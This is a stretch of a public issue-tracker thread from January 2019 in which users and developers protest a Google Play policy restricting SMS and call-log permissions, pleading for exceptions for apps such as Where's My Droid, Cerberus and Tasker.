po...@gmail.com <po...@gmail.com> #593Jan 3, 2019 09:31PM

Don't kill the Cerberus

io...@gmail.com <io...@gmail.com> #594Jan 3, 2019 10:42PM

Google please stop this nonsense. I have bought and use apps that are now being crippled buy this policy change (tasker, ACR PRO & Cerberus)

be...@gmail.com <be...@gmail.com> #595Jan 3, 2019 11:26PM

I use the call record feature for my business to record discussion about products and services so customers can not come back and state I said something I did not say if android is going to discontinue this capability then if I am ever sued I will and Google as a part of the define since it will be their fault I no longer have recorded evidence for the case

be...@gmail.com <be...@gmail.com> #596Jan 3, 2019 11:49PM

I use a task automation app called AutoMagic to make my handset do what I want it to do, when I want it to do it.

I also understand the Android security model, whereby there are lots of granular controls which I (as an informed user) can grant, or deny, to any given app. There are many apps where I think (for example) "no, you don't need to know my location" or "no, you don't need to be able to access my contacts", and in those cases I deny the permission. In other cases, I decide to grant it.

I now find that Google intends to take that control away from me, by stopping useful apps (not just AutoMagic, but also all call recorders, Find My Droid and a whole slew of others) from being able to work.

There is an old adage in business - if you don't give your customers what they want, then somebody else will.

For your own sake, as well as that of all your Android users, please reconsider this ill thought out policy, or at the very least allow reputable app developers to use these permissions to provide services to their knowledgable user base.

ha...@gmail.com <ha...@gmail.com> #597Jan 4, 2019 02:15AM

I have a ForwardSMSToEmail app that was rejected by Google because Google god deems I don't need these SMS permission. The app's core and sole functionality is to read SMS and then forward to the user's nominated email and there is no other alternatives! I feel this new policy is ill-thought out and whoever review it doesn't even look at what the app does. What a shame. I seriously consider quiting this whole Android developer thing.

ja...@karma.net <ja...@karma.net> #598Jan 4, 2019 06:06AM

Please Grant the proper permissions for call logs and sms for the application NFC Tools Pro Edition. I paid for this functionality that now Google is taking away from me.

n....@gmail.com <n....@gmail.com> #599Jan 4, 2019 06:10AM

Looks like I cannot automatically send SMS when I scan NFC tag with NFC Tasks... Seriously I switched from iPhone a decade ago because the apps were restricted and now you're doing the same thing...

to...@gmail.com <to...@gmail.com> #600Jan 4, 2019 07:13AM

I just want the Wheres My Droid app to be able to be used how it always has been. Do you have any idea how convenient it is to text my phone and it ring? I loose the darn thing all of the time. Please stop. Stop trying to ruin my awesome convenience. I dont want to switch to apple.

ky...@gmail.com <ky...@gmail.com> #601Jan 4, 2019 07:18AM

Google needs to step back for a second. Let me use my device how I would like. Where's My Droid is a VITAL app, and actually assisted me in saving someone's life.

If it were up to these rules, said person would not have been found and would be DEAD.

gu...@gmail.com <gu...@gmail.com> #602Jan 4, 2019 08:08AM

I am the user, and I want to decide which apps that can send or receive text messages. Where is my droid is one app that must have this access.

Ke...@kevinrice.org <Ke...@kevinrice.org> #603Jan 4, 2019 08:15AM

Where's My Droid is the ONLY locator that does not require a data connection (Internet). SMS is CRITICAL to locating a phone in a remote area with no data service!!!

Google's locator service IS TERRIBLE. I got a BLANK white map of a roadless desert and no means to access GPS coordinates!!!

Google is doing a TERRIBLE DISSERVICE with these hard-line authoritarian rules. Instead of an iron fist, Google needs to give users MORE CONTROL (not less) of authorizing permissions and denying permissions in a fine-grained manner. At the very least, Google should provide an advanced screen for overriding this hard-line rules for advanced users and special apps.

A TERRIBLE MOVE by Google!

jm...@gmail.com <jm...@gmail.com> #604Jan 4, 2019 08:29AM

Since this is limited to apps released on Google Play only, it can do a lot of harm.
People install apps from outside Google Play, and that opens up Two problems:
- They allow installation of apks, and possibly install some with malware
- They install critical apps like Cerberus outside of Google Play, and forget to update them, leaving old versions with known security problems installed

cr...@gmail.com <cr...@gmail.com> #605Jan 4, 2019 11:54AM

I heavily rely on Where's My Droid, and use it solely for the texting features it allows. Its quick, easy, accurate, and painless, and having to move the functions to email instead of text is a bulky, time-consuming, and potentially unavailable option for many people. This decision could render the app, and all of the benefits that it provides, virtually unusable. Removing this functionality only hurts the users. Please reconsider this decision and allow users to continue using apps in the way they were intended.

ca...@gmail.com <ca...@gmail.com> #606Jan 4, 2019 01:24PM

Besides affecting developers and trashed the time and efforts invested on their apps, you are affecting us... Users who paid for an app functionality that now is restricted or deleted. A chance to the developers to explain is fair, a chance for users to allow what is needed more clearly is fair and justified.

For example Cerberus Anti Theft and Watch Droid, a huge amount of functionalities are lost and in Cerberus case it's best functionality.

el...@gmail.com <el...@gmail.com> #607Jan 4, 2019 01:28PM

Where's My Droid is one of those incredible apps that Apple users were always jealous of when I showed it to them. Please consider special permissions for Where's My Droid!

ti...@gmail.com <ti...@gmail.com> #608Jan 4, 2019 01:42PM

I'm affected. I don't want to live in n a walled garden.
This helps nobody.

lu...@gmail.com <lu...@gmail.com> #609Jan 4, 2019 02:47PM

I am definitely no happy about this change. Our entire family uses wheres my droid both to retrieve misplaced phones and secure them. Text is critical to the functionality of this app. Text is almost always available that allows remote features where if data is not available it disabled this completely. Shame on you google! Not happy with you at all!

iw...@gmail.com <iw...@gmail.com> #610Jan 4, 2019 02:52PM

While I understand the need to protect my privacy and apps from abuse, this change is going to far and violating my rights to use my device as I desire. Impeding tools I use for organization and security. I'm most devestated to lose Where's my Droid functionality. I use it to find my sons, and our phones when they're lost. I use it to send my location to people I'm meeting with. SMS is my families primary communication, shifting to email for these functions will cause many uses to be too inconvenient for regular use.

rx...@gmail.com <rx...@gmail.com> #611Jan 4, 2019 02:54PM

Dear Google, whatever happened to "Don't be evil?"

This move to restrict app permissions WITHOUT allowing users to choose, is a blayent attempt to drive those users to turn to third-party services (mostly Google) to perform functions like keeping tabs on family locations (Where's my droid app) or automate notifications (Tasker). Requiring the use of a third-party service simply routes data along a path with more points of failure, and more chances of data theft.

You may as well be Apple.

ma...@gmail.com <ma...@gmail.com> #612Jan 4, 2019 03:44PM

I use Tasker and Where's my Droid at least a dozen times per day, both of which heavily rely on SMS. I've been on team Android for almost a decade now, including both Pixel XL and Pixel 2 XL. If this change goes through, I might as well join the rest of my family and buy an iPhone. Cut it out, Google.

be...@gmail.com <be...@gmail.com> #613Jan 4, 2019 04:40PM

Google, i rely on this functionality, particulary for the app where my droid.

I'm a pastor, hence a councillor at times, somtimes i have contacts contemplating suicide. I set my phone to silent at night, so my sleep isn't constantly interpreted, if they can't sleep, and send me messages I'll read it in the morning, but i give them a code word to sms me if they are contemplating suicide, that makes my phone ring full volume. Even through do not disturb.

I could add them to an exception list but there is no way i know of for filtering the messages.

This feature is literally life saving.

It needs to stay for where's my droid.

Very concerned.

co...@gmail.com <co...@gmail.com> #614Jan 4, 2019 05:02PM

This is very disturbing, and I'm asking that you not restrict SMS/app permissions. It's BS how your trying to kill apps like Tasker and WMD

fr...@gmail.com <fr...@gmail.com> #615Jan 4, 2019 05:42PM

Google or Android..... This is BS.... To be blunt.... I use wmd for ease and convenience..... Like the reason Android phones were created.... Don't go backwards

da...@gmail.com <da...@gmail.com> #616Jan 4, 2019 05:56PM

Android was supposed to be the open platform, more free from the restrictions of an overlord who decides which apps can access our data.
I use Where's My Droid a lot and it gives my family and easy way to see where I am on a trip without distracting me. And the SMS feature makes it easy to find or ring my phone when lost by using someone else's phone.

ki...@gmail.com <ki...@gmail.com> #617Jan 4, 2019 06:28PM

It's sad that google is taking away our right to choose what our phones do. We pay so much to buy them and maintain them and a useful app like Where's My Droid that helps us protect our investment is being crippled is just ridiculous. We should be allowed to decide what our phones allow. What an outrageous decision!

vi...@gmail.com <vi...@gmail.com> #618Jan 4, 2019 06:39PM

The Where's my Droid app has saved me several times. I'm upset to hear that location apps will not be granted special consideration for texting due to this new change. There is a reason I moved away from Apple, and this new policy is not it.

an...@cekage.net <an...@cekage.net> #619Jan 4, 2019 08:04PM

The restriction is too broad, it hurts 2-3 app I use weekly.

Even my own app have to be stripped of his *core* functionality : sending SMS. The function is on the app name, on the description, on every screen.

It's hard to say it, but since this week-end, sending SMS is too disruptive for an app in the Play Store :(

aa...@gmail.com <aa...@gmail.com> #620Jan 4, 2019 10:17PM

Absolutely understand the thought behind this however there are legitimate needs for this. I use the where's my droid app and the ability to utilize its functions via a quick text is invaluable! Please come up with a better way to implement these safe guards and allow legitimate use of this ability.

sh...@gmail.com <sh...@gmail.com> #621Jan 5, 2019 01:31AM

I am not sure this is the right place or not but I use Where's my droid all the time to find my 5 kids and I won't be able to if things change. It gives me a great security knowing where they are and that they are safe. This can't change.

zz...@gmail.com <zz...@gmail.com> #622Jan 5, 2019 04:39AM

Let me guess: you think that this is a great way to make sure that users have to use your inferior and more intrusive solutions, because phones don't track themselves.

I am a Where's My Droid user who finds your attitude despicable.

he...@pastillilabs.com <he...@pastillilabs.com> #623Jan 5, 2019 09:17AM

Just got this e-mail from Google (as a response to an exception request):

-- clip --
We reviewed your request and found that your app, Situations, com.pastillilabs.situations2, does not qualify for use of the requested permissions for the following reasons:
• The declared feature {Task Automation} is allowed; however we were unable to verify this feature during app review.
-- clop --

Google, how is it possible that your review process is unable to verify the one and only purpose of the application?

fa...@gmail.com <fa...@gmail.com> #624Jan 5, 2019 10:44AM

Eset parental control not work.
Cerberus antithief not work.
Need permission!
WTF?!

to...@gmail.com <to...@gmail.com> #625Jan 5, 2019 11:19AM

In 2016, my older sister had a real rough time and attempted to take her life at a remote location. I used wheresmydroid feature to find her and in the nick of time via air ambulance helicopter(no pulse or breathing when we found her) this feature and app saved her life after a week in intensive care. I always recommend or enable wheresmydroid app on all my friends and family android phones, and in this case it actually saved a life. Surely technology is about making life better for people so please google listen to its users and the amazing influence this feature has, and continue to support rather than block. As said, this had the amazing effect of saving a life, for which myself and familly will be forever gratefull.

ti...@ficonicsolutions.com <ti...@ficonicsolutions.com> #626Jan 5, 2019 11:59AM

Carrio is an app that is designed to reduce driver distraction and hence reduce traffic accidents and save lives. More and more accidents are caused by distraction caused by smartphones. Carrio solves this problem by allowing users to listen to messages and reply them with speech. Users can also send e.g. time of arrival to their families with one voice command (sends a generated SMS to the requested contact). The users can also make phone calls with voice commands.

For consumers, Carrio can be considered as an option for Android Auto (you are most likely not restricting Android Auto’s access to SMS and calls :)), Automate or DriveMode – all applications with a very important role to reduce driver distraction. In addition, Carrio is available in countries (such as Finland), where Android Auto is not.

To help reduce distracted driving, I kindly ask you to accept Carrio to use these permissions also in the future.

gd...@gmail.com <gd...@gmail.com> #627Jan 5, 2019 06:29PM

I use Tasker to automate SMS sending based on incoming texts or calls.
Please grant an exception to TASKER on this permission banning

da...@gmail.com <da...@gmail.com> #628Jan 5, 2019 09:10PM

This policy makes no sense and severely damages my ability to promote android in the tech community. Google please stop being an overlord! What I want to do with my devices I buy should be my decision alone.

ji...@gmail.com <ji...@gmail.com> #629Jan 5, 2019 09:29PM

Anti-phone theft, accessibility, automation, etc., etc..
Why not instead of blocking the permission outright, a new warning popup gets introduced before installing apps with this permission (e.g. one where you need to type in 'I agree').
I understand why this change is being implemented but I don't agree with the way it's done.
Please don't dumb down Android to iOS levels.

[Deleted User] <[Deleted User]> #630Jan 5, 2019 09:34PM

Well, google has closed Android so I jumped ship and bought an iPhone.

pe...@zombik.cz <pe...@zombik.cz> #631Jan 5, 2019 10:33PM

Ok Google, disable brainless mode.

ga...@gmail.com <ga...@gmail.com> #632Jan 5, 2019 10:42PM

@google, you suck, big time!
wanna be the new Apple iOS, congrats and f you!

lb...@gmail.com <lb...@gmail.com> #633Jan 5, 2019 11:42PM

And now there is even an article of how bad this decision is:

https://www.androidpolice.com/2019/01/05/googles-new-sms-and-call-permission-policy-is-crippling-apps-used-by-millions/

Here's a suggestion to all developers affected by this:
Either create a plugin for Tasker that will communicate with your app, or make a tiny Tasker-alternative that has this ability to communicate with your app with a plugin.

I don't know if it will work, but it's worth a shot.
I suggest to also make it open source, so that other developers could use it.

th...@gmail.com <th...@gmail.com> #634Jan 6, 2019 12:15AM

This policy is absurd and it cripples automation applications I use daily. Not just big players like tasker and automate, but also NFC Tools by wakdev. Allow developers a way around this if they ask user consent properly. There is no need to close powerful options like this.

mw...@gmail.com <mw...@gmail.com> #635Jan 6, 2019 12:40AM

This policy may or may not be necessary, but the implementation is absurd. Trying to automate something so important, even the appeals, rather than invest in having actual people handling this has had typically horrendous results. This is a prime example of why I am now, after years of purchasing Nexus phones, giving the iPhone a test run.

ps...@gmail.com <ps...@gmail.com> #636Jan 6, 2019 12:51AM

I am furious.
Where's My Droid has saved my phone so many times.
The ability to ask a stranger to text a code work d to my phone is the whole power of this app.
I
BIG FUCK YOU GOOGLE!!!
LEAVE SHIT ALONE!

IF IT WORKS DONT FUCKIN FIX IT!

jf...@gmail.com <jf...@gmail.com> #637Jan 6, 2019 01:22AM

this is one of the worst things that you could possibly do with Google Android taking away the permissions and accessibility of the apps that we have emergency situations and text messages for example when we lose a phone. when I lose a phone I can text where's my Droid Commander text words using their app from my wife's phone and know exactly where my phones at who has it and several other important features via the text message through where's my Droid with these new changes this will not do you usually done or overcome there's a huge mistake Direction you guys are moving in I suggest you reconsider turning Android into something like iPhone and Apple

mr...@gmail.com <mr...@gmail.com> #638Jan 6, 2019 03:41AM

This is total bullshit. Let the OWNER of the phone decide what they want to install. Google is turning into a giant pile of scum

ke...@gmail.com <ke...@gmail.com> #639Jan 6, 2019 03:58AM

Appears Google is attacking Android developers to drive them out of business. Case in point: I'm a long time user of Find My Droid. It's saved two phones in our family by ease of texting commands. Google came out with the woefully inadequate Find It as a giveaway. Clearly Google is trying to kill the independent Android development community. Is this directive driven out of Mumbai?

ke...@gmail.com <ke...@gmail.com> #640Jan 6, 2019 04:00AM

Correction, Where's My Droid is the app. And by the way, this is enough for me to abandon Android and go with Apple who treats their dev community much better than Google.

cr...@dean.net.nz <cr...@dean.net.nz> #641Jan 6, 2019 05:36AM

So just found out Cerberus is caught up in this mess too. Seriously Google seems to be a mindless corporation doing the will of some product owner. Google get your shit together. Find someone with someone with some common sense and put them in charge of sanity checking all the dumb shit you have been doing since what seems like forever.

mi...@gmail.com <mi...@gmail.com> #642Jan 6, 2019 07:26AM

I also wish to express my concern at these draconian and ill-conceived restrictions. These now break both Tasker and Cerberus for me resulting in reducing my ability to help remotely control and automate functions on my family's phones, removing what I consider to be critical safety features. These has to be a better way for you to manage badly performing apps without removing the very customisation features that make android such an attractive platform.

ce...@googlemail.com <ce...@googlemail.com> #643Jan 6, 2019 11:39AM

I also wish yo express my concern that this will stifle app innovation and hurt existing innovative apps such as Cerberus and Tasker.

ma...@gmail.com <ma...@gmail.com> #644Jan 6, 2019 12:27PM

This will ruin 'wheres my droid' App. This app has saved my phone from being lost so many times. You lose your phone and you can request it sends an sms from lost phone giving gps and street info. I have been using this app for as long as i have been using a smartphone. Bad call google, please review and modify proposed changes.

je...@gmail.com <je...@gmail.com> #645Jan 6, 2019 01:00PM

Please do better, put in the effort to save the apps we paid for and rely on. Don't take the lazy way out.

a....@gmail.com <a....@gmail.com> #646Jan 6, 2019 01:55PM

Another year, another ham-fisted product crippling for me to work around. And this time it's not even your own products you're breaking. I use Cerberus to control access to my kids' Android tablets and locate them when they're misplaced. I guess I need to just buy them a damn iPad already. This is why you'll never get me into Google Home ecosystem.

le...@gmail.com <le...@gmail.com> #647Jan 6, 2019 02:04PM

We should have a choice to enable SMS permissions on an app. I use where's my droid and this is going to make things so much more difficult for that app. When my phone is lost, I can grab my son's phone and send a text to my phone and easily find it. If my son is out, I can text his phone to send me GPS signal of his exact location. I travel often and the GPS locator is something that is used by my family to track my progress in make sure that I am OK on the road. It's also a handy tool if my phone gets stolen, I can find out where these people are. I realize I can go to a computer and log in and do the same things however it is so much easier her with text message. I believe that we are mostly adults and we can decide for ourselves if we want to enable SMS on specific apps. The restriction of apps that use SMS permissions is quite upsetting. Please do not do this.

bo...@gmail.com <bo...@gmail.com> #648Jan 6, 2019 02:05PM

While it is admirable to protect users that doesn't mean we should remove functionality out of a lack of trust for those users. The issue here is that the permissions management on Android still fails to make a reasonable distinction between permissions which are high and low risk. Because of that we end up with hacks like this where the Play Store has to hard limit permissions. A better solution would be to overhaul the permissions UX such that it offers users a clearer illustration of what risk they are accepting. Android's users are extremely diverse in their needs Google needs to really commit to supporting that like the old ad said "Be Together. Not the same"

na...@gmail.com <na...@gmail.com> #649Jan 6, 2019 02:10PM

+1 for Cerberus

I hope you're listening to your user base.

13...@gmail.com <13...@gmail.com> #650Jan 6, 2019 02:13PM

This is another request to reconsider this SMS and call-log policy.

I currently use Cerberus and find the SMS and call-log features invaluable. Where I live, it is possible to lose my phone in a location without data coverage, and the SMS location feature of Cerberus allows me to locate and control my phone. This is the point of apps, when app developers see a feature or functionality that is needed, they write an app that can do that.

The variety and power of apps on the Android platform is one of its best features. Developers are able to use the current permissions to innovate and come up with features that were never thought of when designing Android. To assume that all use cases can be decided in a policy is invalid, and will limit the innovation and ability of developers. This is made clear by the number and variety of apps that are negatively effected by this change.

Google, please do better. Please don't break such a good thing and please stand behind your developers and not against them.

mi...@gmail.com <mi...@gmail.com> #651Jan 6, 2019 03:55PM

This new policy makes my phone LESS secure.

Please remember not to be evil.

bs...@gmail.com <bs...@gmail.com> #652Jan 6, 2019 04:53PM

Please do not remove the SMS texting capability feature from the Where’s My Droid (WMD) App. My husband and I use the app frequently when we have misplaced our phones. To have to log onto the WMD Commander website in order to send an email to locate the phones would be much more complicated and time consuming. And, no doubt, a password would be required to log onto that website --- yet another password to remember. Also, not everyone who you could ask to try to locate your phone has data on their phones allowing them to access a website, but, everyone with a cell phone has texting. PLEASE ALLOW WMD TO CONTINUE USING TEXTING.

rj...@gmail.com <rj...@gmail.com> #653Jan 6, 2019 04:55PM

Please do not remove the SMS texting capability feature from the Where’s My Droid (WMD) App. My wife and I use the app frequently when we have misplaced our phones. To have to log onto the WMD Commander website in order to send an email to locate the phones would be much more complicated and time consuming. And, no doubt, a password would be required to log onto that website --- yet another password to remember. Also, not everyone who you could ask to try to locate your phone has data on their phones allowing them to access a website, but, everyone with a cell phone has texting. PLEASE ALLOW WMD TO CONTINUE USING TEXTING.

sd...@gmail.com <sd...@gmail.com> #654Jan 6, 2019 06:06PM

Specifically about the wheresmydroid app. My understanding of the new policy is that if the core of the app is an SMS messaging app, then the app is allowable. Since wheresmydroid offers both SMS features and internet features, it is not considered core SMS, and thus either restricted from the Google play marketplace entirely or forced to reduce their feature set. Google offers similar internet features in their own Find app, but does not offer SMS capability. Basically, Google is forcing an independent competitor to reduce feature, in a marketplace they control, in order to compete with something they have on that marketplace.

In the US, I am surprised this is not considered antitrust as an attempt to monopolize the market, specifically device finding apps. Under EU I am surprised this is not considered as per Elements of Article 102 TFEU as an abuse of dominant position. I am not a lawyer, but to a layperson this seems suspiciously illegal. I would think Google would be more sensitive to antitrust or anti-competitive behaviors, real or perceived, especially after some recent related negative outcomes for Google.

Aside from what appears to be an obvious abuse of power by Google, SMS access appears to be a feature people want and I have not seen any requests for this feature removal. I wonder how easy it would be to add in android options to prohibit SMS access from all play downloaded apps, maybe even set as default, instead of forcing those apps to be removed from the play marketplace or reduce their feature set. Of course, only one of these options ensures less competition to the similar available Google app, whereas the other provides equal or better security.

I will do what it takes to ensure my SMS finding feature works. This policy change will force users off of the play marketplace, which basically makes the policy change less secure. It may also encourage users to other OS's, which I don't believe is the intent.

Google, please do better and remember not to be evil.

pa...@hpaulmoon.com <pa...@hpaulmoon.com> #655Jan 6, 2019 06:34PM

It's an outrage, simply paranoid and dumbed down, while I hope that there is enough customer outcry to make Google reconsider. Android is increasingly indistinguishable from the monstrous Apple Corporation, obsessed with making life easier for themselves (less need to dedicate resources to customer support) while collecting record profits.

kp...@gmail.com <kp...@gmail.com> #656Jan 6, 2019 06:53PM

Please allow Cerberus SMS permissions. It's a major pain to have major functionally in the app broken due to new policies.

ze...@gmail.com <ze...@gmail.com> #657Jan 6, 2019 07:06PM

I'm a user of an Android app that allows me to track my phone using SMS messages. Using SMS when a phone is lost is crucial since it will work even if cellular reception is minimal. This is also very useful when data communications is turned off when roaming (e.g. traveling abroad).
I think that the permission model of Android is clear enough for users to know what they are providing to an app and removing this option is a very harsh measure. Another possibility to mitigate the abuse of this permission is to require opting-in similar to what is done today with accessibility features that need to be turned-on separately per app.

sa...@gmail.com <sa...@gmail.com> #658Jan 6, 2019 07:54PM

Grant Cerberus its full capacity to track phones using SMS! This is a crucial recovery function.

jo...@gmail.com <jo...@gmail.com> #659Jan 6, 2019 08:27PM

I hope Google will reconsider the new sms rules. I use the app Where's My Droid, to locate my kids who have no internet connection when out of the house.I found my 6 year old son when he got lost in the city a few years ago using the Where's My Droid SMS function. When Google's new ill-thought-out policy comes into effect, I will work around it by blocking the app update and on new phones I'll download the not yet messed up app from third party sources, but it's sad that Google is forcing me to take such action and ironic that it's being done in the name of security.

jo...@gmail.com <jo...@gmail.com> #660Jan 6, 2019 10:00PM

Please accord permissions to approved apps like tasker, cerberus... These apps are must have and great toolbox for android, don't cut android's abilities like an I phone

ma...@gmail.com <ma...@gmail.com> #661Jan 6, 2019 10:04PM

To devs: I can't say about US legislation, but many at many countries , with Google allowing exception to Tasker, it is obliged to treat other apps with the same rules and if it doesn't, and a dev has his/her app removed due a rule that isn't enforced to everyone, he/she can bring Google to court. So I would recommend looking for legal advise (which is free at many countries) to check if your legislation makes this move from Google illegal. And to anyone thinking "well, if in the TOS Google gives itself the power to do so and removes any legal right to devs to suit the company" that has zero value at many countries too: US has this kid ND of BS, but most countries doesn't allow any contract or TOS overrule any legal right. So it doesn't matter if at the TOS Google says you can't resolve conflicts at court and you signed YES: the judge will simply laugh at Google's lawyers. So, again, I strongly advise devs focusing time not here because Google won't give s**t about your appeal unless you have tens of millions of users and instead use the time looking for law advising that, like I said, at many countries is free. With Tasker having an exception but your app being pulled, and your revenue being screwed, immediately ingress with your case . Don't be afraid, like I said: you can not know but , under the laws from your country, you may have right to free costs legally fighting Google and rules being enforced by Google through TOS can be nullified by being against your country's laws.

fe...@gmail.com <fe...@gmail.com> #662Jan 6, 2019 11:10PM

Please accord permissions to approved apps like cerberus. I repeat, please. Think about people who live in dangerous areas and need to use
cerberus to send sms commands and locate our parents/childs also stolen phones. You live in a first world country, and i bet the phone stolen
rate is very low. Now, put yourself in the shoes of someone who live in a third world country... or even dangerous areas. i bet google dont know what is to live in risky areas.

ha...@gmail.com <ha...@gmail.com> #663Jan 6, 2019 11:44PM

Comments like 654 are not only well thought out, but supported broadly by the community. I urge Google to change its malfunctioning position on these permissions.

ri...@gmail.com <ri...@gmail.com> #664Jan 7, 2019 12:43AM

I will add my complaint about this change. Others have given the reasons I would add, so what they said.

ma...@gmail.com <ma...@gmail.com> #665Jan 7, 2019 01:05AM

Not even a single comment by Google in this ticket after the "your ticket has been assigned".

Congratulations, Google.

og...@gmail.com <og...@gmail.com> #666Jan 7, 2019 02:07AM

Did everyone at Google recently buy huge amounts of Apple stock. That's really the only explanation for dumb shit like this.

ch...@gmail.com <ch...@gmail.com> #667Jan 7, 2019 05:28AM

Incredibly DUMB decisions like these changes make me believe the rumors that most Googlers use iPhones, not Android phones. STOP DUMBING ANDROID DOWN INTO IOS!

sc...@gmail.com <sc...@gmail.com> #668Jan 7, 2019 10:00AM

such DUMP action is killing android and make it a new ios , we need android as it used to be

if you need additional clarification from developers it totally right many apps is just exist based on theses access witch
you want to disable and restrict it

an...@gmail.com <an...@gmail.com> #669Jan 7, 2019 10:48AM

Hey, Google, it's not by removing access to SMS that you will make Android better ! You will just destroy what makes Android good, we don't want an iOS... 🙄

jd...@gmail.com <jd...@gmail.com> #670Jan 7, 2019 12:56PM

This is a really bad decision. You are pushing people who use apps like Cerberus to downloading them from other sources thereby reducing device security.

vm...@vmherrera.net <vm...@vmherrera.net> #671Jan 7, 2019 01:33PM

What a stupid thing! If the decision prospers it will be a sign that the bad guys have won, and the motto "Not be evil" will have been lost forever. Changing freedom for the false security of a dictatorship (without giving any possibility of election) is not the way to go. Do not.

rs...@gmail.com <rs...@gmail.com> #672Jan 7, 2019 03:07PM

A very stupid decision by Google in the name of security. I have paid subscriptions for apps like cerebrus and it is my conscious decision to allow them to have access. Why should Android restrict that? Don't become another iPhone PLEASE....

gi...@gmail.com <gi...@gmail.com> #673Jan 7, 2019 03:17PM

Please don't cripple cerberus, neither Tasker, Android is only a good operational system because of it's freedom of choices.

pr...@gmail.com <pr...@gmail.com> #674Jan 7, 2019 04:11PM

There is no harm in this feature. I strongly feel that if any mishap happens to my phone, the same should be communicated to the other number. I think the restriction is unnecessarily brought up while the feature is vital.

cr...@gmail.com <cr...@gmail.com> #675Jan 7, 2019 05:20PM

Please stop making apps worse Due to lack of permissions... Why are you doing this? I mean I know security is a must but then there's apps like Tasker and Lockwatch that actually need those permissions for core functions, if you remove enough permissions then Android will be the same as apple, the same restrictions, the same bad aspects of it all, you're asking for all hell to break loose

ve...@gmail.com <ve...@gmail.com> #676Jan 7, 2019 06:17PM

This is typical of Google. For years they have been actively making changes to make it harder to monitor permission changes and hold developers accountable as well as doing nothing themselves to do so, yet they continually seek to "fix" the problem by taking the easy ways out and simply removing important permission access and breaking things people rely on, or requiring new permissions and therefore providing even more potential access (wifi/location) instead of actually developing a real fix. It's crap like this that is going to drive more and more people either to download apps from outside the Play store--both reducing Google's profits (which is a good thing) and putting people at more risk due to less oversight--or to switch to a different OS completely, such as iOS, Sailfish, or perhaps a new addition to the mix. It's also part of the reason I use Google products as little as possible.

As a side note, this (Google) site performs like complete crap in Chrome (Google browser) on Android (Google), which is just pathetic. I wish I could say I'm surprised by that, but I'm not at all. Trying to drag the scrollbar to quickly get to the bottom to post is impossible, and only causes Chrome to stop responding, tapping in the box to type causes it to jump up a page or so instead of showing the box, and I had to type this on a separate editor then paste it in to the box because typing was so laggy in Chrome. Google, maybe you should focus more on actual privacy and security and on making your products actually WORK instead of these BS "fixes."

do...@gmail.com <do...@gmail.com> #677Jan 7, 2019 09:17PM

If they take away the permission for everyone then it's a policy change, but at this point they are picking the winners. Android Auto doesn't qualify for an exception based on the official rules, but I bet it will continue to have SMS access. The motivation for removing the permission is probably sincere, but it is also being used to disguise monopolistic business practices. Disgusting.

ro...@gmail.com <ro...@gmail.com> #678Jan 7, 2019 11:41PM

This affects the security of my phone. The security App from ESET used SMS from trusted contacts to let you remotely control your phone in case you lost it.

Now that security layer is gone.

ju...@nationaledtech.com <ju...@nationaledtech.com> #679Jan 8, 2019 01:56AM

I'm here in support of fellow developers doing "good and innovative" apps on Android while benefiting Google greatly. My team offers parents call blocking and keyword text monitoring as core features on Android - we are fighting the good fight too but sadly seems like a game of "hitting your head against a concrete wall" so far. No clue if we have been extended to March or not! Cannot speak to anyone. Today, I received the "SAME" copy and past answer I received on Dec 21st 2018 yet I just re-submitting a new form which totally changed since the original one in November! Who does that??

Our app is highly rated by parents (lowly rated by kids!) - in case any of you are aware of it it's Boomerang Parental Control -

https://play.google.com/store/apps/details?id=com.nationaledtech.Boomerang. As you can see, we CLEARLY declare why we need CALLs and SMSs permissions.

deleted

Restricted

0 B

deleted

Restricted

0 B

deleted

Restricted

0 B

an...@gmail.com <an...@gmail.com> #680Jan 8, 2019 09:10AM

The problem affects millions of users. Why does Google keep silence on this ticket?

er...@gmail.com <er...@gmail.com> #681Jan 8, 2019 09:58AM

Please do not restrict Cerberus' ability to send SMS messages! Cerberus has saved my device AND my data many times after being stolen!
Unfortunately they seem to have been ignored, and had to cripple their own application!
You're taking a huge functionality off of it, it's a security app and needs to have SMS access!

st...@gmail.com <st...@gmail.com> #682Jan 8, 2019 06:43PM

Hello,

I would like to join with my fellow Cerberus users and request that you give an exemption to the Cerberus app. This app requires the ability to access and send SMS messages for anti-theft/phone recovery purposes. I trust LSDroid and have used their app for years. Please exempt them from this restriction.

Regards,

Stéphane Tremblay

jo...@gmail.com <jo...@gmail.com> #683Jan 8, 2019 07:36PM

Please grant the Cerberus app an exception for the SMS and call permissions. This is a critical app and my wife has two cell phones stolen which were never able to be recovered. Ever since then we have used Cerberus to protect our phones. This restriction makes it more likely for a stolen phone to be lost forever.

pe...@m2m.ninja <pe...@m2m.ninja> #684Jan 8, 2019 07:41PM

This is ridiculous please grant Cerberus the reception.

02...@gmail.com <02...@gmail.com> #685Jan 8, 2019 07:56PM

Please grant the Cerberus app an exception for the SMS and call permissions. We have used Cerberus to protect our phones. This restriction makes it more likely for a stolen phone to be lost forever.

Why not change the permissions to default OFF until the USER agrees to turn it on manually. You have done this before for other security features. i.e. Apps with Usage permission.

pv...@swooby.com <pv...@swooby.com> #686Jan 8, 2019 08:05PM

Tomorrow is the day to have my task automation app delisted because it uses SEND_SMS and I have yet to get any response to my request for extension or exception nor have I read any anecdotal evidence that anyone has been granted an extension or an exception.

Google: Please communicate ASAP or end this charade of a policy enforcement debacle

pv...@swooby.com <pv...@swooby.com> #687Jan 8, 2019 08:41PM

OK, so Tasker did announce a few days ago that they got an exception.
Still, my main point still stands...

be...@gmail.com <be...@gmail.com> #688Jan 8, 2019 09:00PM

Please grant the Cerberus app an exception for the SMS and call permission. I've been using it for years and it is beneficial to it's users for it to have these permissions.

ag...@gmail.com <ag...@gmail.com> #689Jan 8, 2019 09:55PM

So, if I use a phone locator but I don't have DATA enabled how am I supposed to find it or send it commands? I have been using and paid for" Where is my droid" precisely because of that use case. Even the stock android device locator from google does not provide such functionality.

ph...@gmail.com <ph...@gmail.com> #690Jan 8, 2019 09:56PM

Macrodroid is an essential app for me, and losing it's sms ability would be a disaster!

lo...@gmail.com <lo...@gmail.com> #691Jan 8, 2019 10:54PM

This is causing an issue. I use NFC tags with SMS task and now I can no longer use the tool that programs hardware I purchased for a specific reason. This needs to be resolved!

ri...@gmail.com <ri...@gmail.com> #692Jan 9, 2019 12:20AM

Google, stop deciding what users can do and start creating a method for a user to approve. Turn this into a feature you have to take action to permit (and maybe re-enable on a regular basis)

If I'm going to have to live with a device that invokes it's own rules on me I'll wind up switching to a iPhone and we really don't want that to happen. As it is, the only thing keeping Google as part of my world is Android and if it becomes as bad as Apple I might as well benefit from the Apple ecosystem.

I think this is the death of Android and that is a very sad turn of events.
